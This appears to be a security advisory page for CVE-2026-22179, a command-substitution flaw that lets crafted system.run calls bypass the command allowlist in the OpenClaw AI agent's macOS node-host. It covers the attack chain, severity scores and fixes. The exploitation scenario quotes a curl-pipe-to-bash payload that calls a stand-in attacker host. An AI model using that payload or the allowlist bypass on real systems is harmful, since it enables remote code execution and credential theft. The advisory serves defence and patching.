CVE-2026-22179: OpenClaw allowlist bypass enables

CISO Take

OpenClaw prior to 2026.2.22 fails to correctly parse command substitution tokens inside double-quoted strings passed to its macOS node-host system.run function, allowing a remote attacker with high-privilege access to bypass the command allowlist and execute arbitrary OS commands (CWE-78, CVSS 7.2). The PR:H prerequisite limits opportunistic exploitation, but in agentic deployments where OpenClaw already runs with elevated system permissions — the common case for AI agents performing host-level tasks — that bar is functionally cleared by design, making the effective risk higher than the base score suggests. EPSS places this in the top 55% for exploitation likelihood, and the same package carries 396 tracked CVEs, signaling a pattern of systemic security debt rather than an isolated flaw. Patch to version ≥ 2026.2.22 immediately; if patching is blocked, restrict system.run invocations at the network perimeter, reduce agent operating privileges to least-privilege, and monitor process execution logs for unexpected command substitution patterns.

Sources: NVD EPSS GitHub Advisory ATLAS VulnCheck

What is the risk?

Effective risk is moderate-to-high in AI agent contexts. The CVSS 7.2 base score is driven down by PR:H, but this control is frequently negated in agentic architectures where the agent process itself runs with admin or root-equivalent permissions to perform legitimate host operations. The network-reachable attack vector (AV:N, AC:L) means a pre-authenticated adversary can attempt exploitation remotely without local access. No public exploit or Nuclei template exists yet, and the CVE is absent from CISA KEV, suggesting no confirmed in-the-wild exploitation. However, the 396-CVE track record for this package and the presence of a related real-world credential-theft incident (AIID #1368) via the OpenClaw ecosystem elevate residual risk beyond what the EPSS score alone conveys. Organizations treating this as low-urgency due to PR:H should reassess if their OpenClaw deployment runs under a privileged service account.

How does the attack unfold?

Initial Access

Attacker obtains high-privilege credentials to the OpenClaw agent interface via phishing, credential stuffing, or a prior breach of an administrator account.

AML.T0012

Allowlist Bypass

Attacker sends a crafted system.run invocation embedding command substitution tokens (e.g., `$(...)`) inside double-quoted arguments; the parser validates the outer command as allowlisted while the injected substitution is silently evaluated by the shell.

AML.T0053

Arbitrary Command Execution

The shell expands the command substitution and executes the attacker-controlled payload with the OpenClaw process's OS privileges, achieving RCE on the macOS host.

AML.T0050

Credential & Data Exfiltration

With host-level code execution, attacker harvests SSH keys, API tokens, cloud CLI credentials, and agent memory contents, then exfiltrates them to an attacker-controlled endpoint.

AML.T0025

Initial Access

Attacker obtains high-privilege credentials to the OpenClaw agent interface via phishing, credential stuffing, or a prior breach of an administrator account.

AML.T0012

Allowlist Bypass

Attacker sends a crafted system.run invocation embedding command substitution tokens (e.g., `$(...)`) inside double-quoted arguments; the parser validates the outer command as allowlisted while the injected substitution is silently evaluated by the shell.

AML.T0053

Arbitrary Command Execution

The shell expands the command substitution and executes the attacker-controlled payload with the OpenClaw process's OS privileges, achieving RCE on the macOS host.

AML.T0050

Credential & Data Exfiltration

With host-level code execution, attacker harvests SSH keys, API tokens, cloud CLI credentials, and agent memory contents, then exfiltrates them to an attacker-controlled endpoint.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

7.2 / 10

EPSS

0.6%

chance of exploitation in 30 days

Higher than 47% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR High

UI None

S Unchanged

C High

I High

A High

What should I do?

6 steps

Patch: Upgrade OpenClaw to version ≥ 2026.2.22 immediately. The fix commit (90a378ca) addresses the token parsing flaw in system.run.
Least privilege: Ensure OpenClaw agent processes run under a dedicated low-privilege service account, not admin/root. This limits the blast radius if exploitation occurs.
Network controls: If OpenClaw's node-host interface is reachable over the network, restrict access via firewall rules to known management hosts only.
Detection: Audit process execution logs on macOS hosts running OpenClaw for unexpected child processes spawned by the agent (look for shell interpreters like bash/sh/zsh spawned with command substitution patterns).
Dependency audit: Check if any internal tooling invokes OpenClaw's system.run transitively; patch or isolate those consumers as well.
Verify patch application: Confirm the fix commit is present by checking the installed version with pip show openclaw and comparing against the patched version boundary.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Code Execution Agent Plugin AML.T0010.005 - AI Agent Tool AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0112.000 - Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art.15 - Accuracy, robustness and cybersecurity

ISO 42001

A.10.1 - AI system security

NIST AI RMF

GOVERN 1.7 - Processes for AI risk management

OWASP LLM Top 10

LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-22179?

OpenClaw prior to 2026.2.22 fails to correctly parse command substitution tokens inside double-quoted strings passed to its macOS node-host system.run function, allowing a remote attacker with high-privilege access to bypass the command allowlist and execute arbitrary OS commands (CWE-78, CVSS 7.2). The PR:H prerequisite limits opportunistic exploitation, but in agentic deployments where OpenClaw already runs with elevated system permissions — the common case for AI agents performing host-level tasks — that bar is functionally cleared by design, making the effective risk higher than the base score suggests. EPSS places this in the top 55% for exploitation likelihood, and the same package carries 396 tracked CVEs, signaling a pattern of systemic security debt rather than an isolated flaw. Patch to version ≥ 2026.2.22 immediately; if patching is blocked, restrict system.run invocations at the network perimeter, reduce agent operating privileges to least-privilege, and monitor process execution logs for unexpected command substitution patterns.

Is CVE-2026-22179 actively exploited?

No confirmed active exploitation of CVE-2026-22179 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-22179?

1. Patch: Upgrade OpenClaw to version ≥ 2026.2.22 immediately. The fix commit (90a378ca) addresses the token parsing flaw in system.run. 2. Least privilege: Ensure OpenClaw agent processes run under a dedicated low-privilege service account, not admin/root. This limits the blast radius if exploitation occurs. 3. Network controls: If OpenClaw's node-host interface is reachable over the network, restrict access via firewall rules to known management hosts only. 4. Detection: Audit process execution logs on macOS hosts running OpenClaw for unexpected child processes spawned by the agent (look for shell interpreters like bash/sh/zsh spawned with command substitution patterns). 5. Dependency audit: Check if any internal tooling invokes OpenClaw's system.run transitively; patch or isolate those consumers as well. 6. Verify patch application: Confirm the fix commit is present by checking the installed version with `pip show openclaw` and comparing against the patched version boundary.

What systems are affected by CVE-2026-22179?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic pipelines with host tool access, local AI agent deployments on macOS.

What is the CVSS score for CVE-2026-22179?

CVE-2026-22179 has a CVSS v3.1 base score of 7.2 (HIGH). The EPSS exploitation probability is 0.63%.

What is the AI security impact?

Affected AI Architectures

agent frameworksagentic pipelines with host tool accesslocal AI agent deployments on macOS

MITRE ATLAS Techniques

AML.T0010.005 AI Agent Tool

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0112.000 Local AI Agent

Compliance Controls Affected

EU AI Act: Art.15

ISO 42001: A.10.1

NIST AI RMF: GOVERN 1.7

OWASP LLM Top 10: LLM08

What are the technical details?

Original Advisory

OpenClaw versions prior to 2026.2.22 in macOS node-host system.run contain an allowlist bypass vulnerability that allows remote attackers to execute non-allowlisted commands by exploiting improper parsing of command substitution tokens. Attackers can craft shell payloads with command substitution syntax within double-quoted text to bypass security restrictions and execute arbitrary commands on the system.

Exploitation Scenario

An adversary with pre-existing high-privilege credentials to an OpenClaw-powered AI agent — obtained, for example, via phishing a developer account or exploiting a separate authentication flaw — sends a crafted request to the agent's node-host interface that invokes system.run with a payload containing command substitution syntax (e.g., a value like `"$(curl -s http://attacker.com/payload | bash)"` embedded in a double-quoted argument). The allowlist parser incorrectly evaluates the outer command as permitted while the embedded substitution executes the injected command in the shell context. The adversary achieves arbitrary OS command execution with the agent process's privileges — on a macOS developer machine, this commonly includes access to SSH keys, API tokens in the keychain, and cloud CLI credentials — enabling credential harvesting, data exfiltration, or installation of persistence mechanisms that survive beyond the agent session.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.